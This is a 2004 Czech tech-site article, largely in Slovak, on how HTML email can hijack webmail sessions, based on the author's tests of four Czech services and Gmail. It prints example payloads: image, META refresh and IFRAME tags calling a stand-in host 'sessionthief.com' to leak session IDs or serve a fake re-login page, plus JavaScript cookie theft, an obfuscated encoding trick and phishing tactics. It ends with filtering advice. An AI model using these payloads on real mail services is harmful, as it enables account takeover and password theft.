Hlavní navigace

Je náročné se dostat do cizí webmailové schránky?

30. 11. 2004
Doba čtení: 6 minut

Sdílet

Všichni víme, že email není příliš bezpečný - přes Internet putuje nešifrovaně, v případě webmailu je navíc uložen nešifrovaně na webmailovém serveru. Přesto je podstatný rozdíl, má-li k němu přístup vlastník/správce webmailového serveru, kterého emaily konkrétní osoby nezajímají, nebo zda je to nějaká další osoba, která se zajímá právě o naši schránku.

Niekedy nepotrebujeme ani poznať heslo, aby sme sa k schránke dostali. Stačí poslať „správne upravený“ email, aby sme zistili údaje o session. Toto sa týka v podstate všetkých systémov, ktoré nejakým spôsobom session používajú a zároveň povoľujú užívateľský vstup (webmail je príkladom takej situácie). Testoval som štyri veľké české webmailové služby (nebudem konkrétne menovať) a Gmail. Týka sa to webového rozhrania webmailov, neplatí to pre ľudí, ktorí si sťahujú poštu cez POP3.

Hlavná bezpečnostná vada emailov je, že môžu byť v HTML formáte. HTML môže obsahovať ešte naviac javascript. Teoreticky na zaručenie úplnej funkčnosti HTML emailov by mal webmail zachovať jeho kód nezmenený, ale je to skutočne treba? Napr. javascript v emaile nejakú extra funkčnosť nezaručí, naopak – je to skôr bezpečnostné riziko, ako uvidíme ďalej. To platí aj pre niektoré HTML tagy.

Čo ma dosť zarazilo, jeden zo spomínaných veľkých českých webmailov preloží HTML tagy, ktoré sú v obyčajnom text/plain maile (tj. dostanú sa do zobrazenej stránky neescapované).

Získanie session

Najjednoduchší spôsob je poslanie emailu obsahujúceho obrázok s linkom mimo telo mailu:
<IMG src="http://sessionthief.com/logo.jpg">
Po otvorení mailu, v momente, keď prehliadač narazí na tento tag, pošle GET request serveru sessionthief.com a vypýta si obrázok. Naviac ale hlavička požiadavku obsahuje položku Referer, napr.:
Referer: http://nejakywebmail.cz/sprava/ukaz? session=aNkZoE6wAmOj&folder=inbox&index=6
Podobný efekt sa dá docieliť linkom (tag <a>), tag <img> má výhodu, že užívateľ naň nemusí kliknúť, aby sa vygeneroval request.

Pre útočníka je zaujímavý parameter session. Útočník nasledovaním tohoto linku sa dostane do schránky užívateľa bez znalosti hesla – v prípade, že webmail nekontroluje IP adresu a nepoužíva cookies na autorizáciu, resp. je tak pre danú session nastavený. Obídenie testu IP a cookies si ukážeme za chvíľu. Podstatné je, že užívateľ musí byť v danú chvíľu nalogovaný, aby údaje o session boli platné. To sa dá zariadiť automatickým skriptom, ktorý čaká požiadavok na logo.jpg – hneď po jeho prijatí sa prihlási a stiahne potrebné veci. Prípadne ešte pošle naspäť užívateľovi nejaký obrázok ako odpoveď na požiadavok, aby to nevyzeralo až tak podozrivo.

Jediný z testovaných Gmail má proti tomuto obranu. Pri otvorení mailu s obrázkom, ktorý ma URL mimo telo emailu, obrázok implicitne nezobrazí a dá možnosť „Show external images“. Pravdupovediac ma dosť prekvapilo, že na to vôbec niekto myslel (zrejme sa snažili po tom, čo u nich bol odhalený cross-site scripting).

Obídenie testu IP adresy/cookies

Test IP adresy je pomerne jednoduchým, ale zato celkom účinným spôsobom zabezpečenia v kombinácii s ostatnými prvkami. V testovaných webmailových aplikáciách sa dá typicky obísť niekoľkými spôsobmi:

  1. Niektoré webmaily si ukladajú do cookie, či majú testovať IP alebo nie. Pri zobrazení login stránky sa podľa cookie rozhodnú zaškrnúť/nezaš­krtnúť políčko „Testovať IP adresu“. Zmeniť cookie javascriptom nie je žiadny problém, pri ďalšom prihlásení bude políčko odškrtnuté. Ak si to užívateľ nevšimne, tak už ďalej IP adresa kontrolovaná nie je (špeciálne v prípade počítačovo menej zdatných to má dosť šancu na úspech). Stačí do mailu teda dať javascript, ktorý danú cookie zmení a počkať na ďalšie prihlásenie, alebo odhlásenie vynútiť – javascriptom zmeniť document.location na adresu, ktorá užívateľa odhlási.
  2. Sociálne inžinierstvo – varianta 1. Ak už užívateľ ide cez proxy, útočník môže skúsiť použiť rovnakú proxy. Inak napr. vytvorí a pošle užívateľovi mail propagujúci zrýchlený Internet (zdarma a bez reklám, čo za určitých okolností môže byť dokonca pravda ;-)), v emaile bude postup nastavenie nejakej proxy. Teoreticky to môže byť útočníkova proxy, tam stačí odpočúvať komunikáciu. Možno ešte lepšie je použiť nejakú verejnú proxy, kde má prístup útočník aj užívateľ (minimálne takto to vyzerá dôveryhodnejšie). Prístup bude potom z rovnakej adresy, na prístup k schránke stačia údaje o session.
  3. Sociálne inžinierstvo – varianta 2. Drzo sa pokúsiť vylákať heslo presmerovaním stránky na podvrhnutú stránku oznamujúcu „Vaše prihlásenie vypršalo. Prihláste sa prosím znova.“ Každý to už určite zažil, preto sa to možno nebude zdať až také podozrivé (hlavne ak stránka bude vzhľadom podobná originálu). Útočník to môže dosiahnuť rôzne:
  4. javascriptovým document.loca­tion=…, adresa sa viditeľne zmení,
  5. javascriptovým window.open s odstránenou lištou s adresou,
  6. pri odfiltrovanom javascripte HTML tagom <META HTTP-EQUIV=„Refresh“ content=„0; URL=http://ses­sionthief.com/?re­login“>, opäť je vidieť zmenenú adresu,
  7. ak je odfiltrovaný javascript aj META tagy, použiť <IFRAME src="http://sessionthief.com/?relogin">. Táto stránka už javascript odfiltrovaný mať nebude, možno použiť napr. parent.locati­on.href=… ak potrebujeme presmerovať, resp. parent.locati­on.cookie na ukradnutie cookies. Ak webmail zobrazuje správu v osobitnom okne a neorezáva všetko okrem vnútra &lt;BODY> z emailu, je možné použiť FRAMESET/FRAME, kde zobrazená stránka bude v skutočnosti iná ako napísaná adresa v lište.

Po získaní hesla pošle útočník naspať napr. HTTP 302 Found a vráti užívateľa na pôvodnú stránku, prípadne medzitým zmaže zo schránky vlastný mail (ktorý presmerovanie spôsobil), pošle „opticky podobný“ mail s iným obsahom na zakrytie stôp.

Cookies ako forma zabezpečenia nemajú význam ak v emaile nie je odfiltrovaný javascript, pretože môže cookies jednoducho zmeniť alebo poslať na ľubovolnú adresu na Internete.

Čo všetko treba odfiltrovať z HTML-formátovaného mailu?

V prvom rade všetok javascript zo <script> tagov, takisto z eventov typu onload, onmouseover, atď. Selektívne odfiltrovať len niektoré veci nestačí, pretože je možné robiť dvojité (trojité, atď.) kódovanie ako napr.:
document.write(unescape("%3c%73%63%72%69%70%74%3e %64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f %6e%3d%27%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c %65%2e%63%6f%6d%27%3b%3c%2f%73%63%72%69 %70%74%3e"));
V skutočnosti do dokumentu vypíše:
  <script>document.location='http://google.com';</script>

BRAND24

Jediná výhoda HTML-formátovaného mailu (ak nepočítame výhody pre útočníkov) je jeho krajší vzhľad napr. s obrázkami, tabuľkami atď. Načo by mal mail ale obsahovať napr. formulár? Všetko ostatné okrem formátovacích elementov treba odfiltrovať, dať pozor na externé obrázky a všeobecne elementy, ktoré spôsobia, že prehliadač vygeneruje request na ľubovolné miesto na Internete.

Záver

V podstate sa ukázalo, že najväčší problém je obísť kontrolu IP adresy.

Štatistika:

  • okrem Gmailu ostatné štyri testované spôsobili poslanie Referer s údajmi o session v hlavičke pri zobrazení obrázku,
  • webmail 1: zobrazí, že sa jedná o HTML email pred prezretím, ale nič nefiltruje (vyzerá to byť naschvál, myšlienka je zrejme, že sa snaží mail zobraziť ako plnohodnotnú stránku v celom okne, čo vnáša riziko),
  • webmail 2: okrem toho obrázku, zdá sa, filtruje všetko, čo by mohlo zavliecť cudzí kód alebo niečo niekam poslať, umožňuje v nastavení zobraziť, že sa HTML email nemá zobraziť priamo,
  • webmail 3: unikol IFRAME, v nastavení umožňuje nezobraziť HTML mail priamo,
  • webmail 4: unikli FORM/INPUT, inak, zdá sa, filtruje všetko podstatné, keď je typ mailu text/html, ale stačí text/plain mail a dá sa použiť javascript v trocha obmedzenej forme, napr. <a href=… onmouseover=…> alebo niečo podobné a tag sa nezmenený dostane do stránky.

Jak využíváte služby free webmailů?

Byl pro vás článek přínosný?

Upozorníme vás na články, které by vám neměly uniknout (maximálně 2x týdně).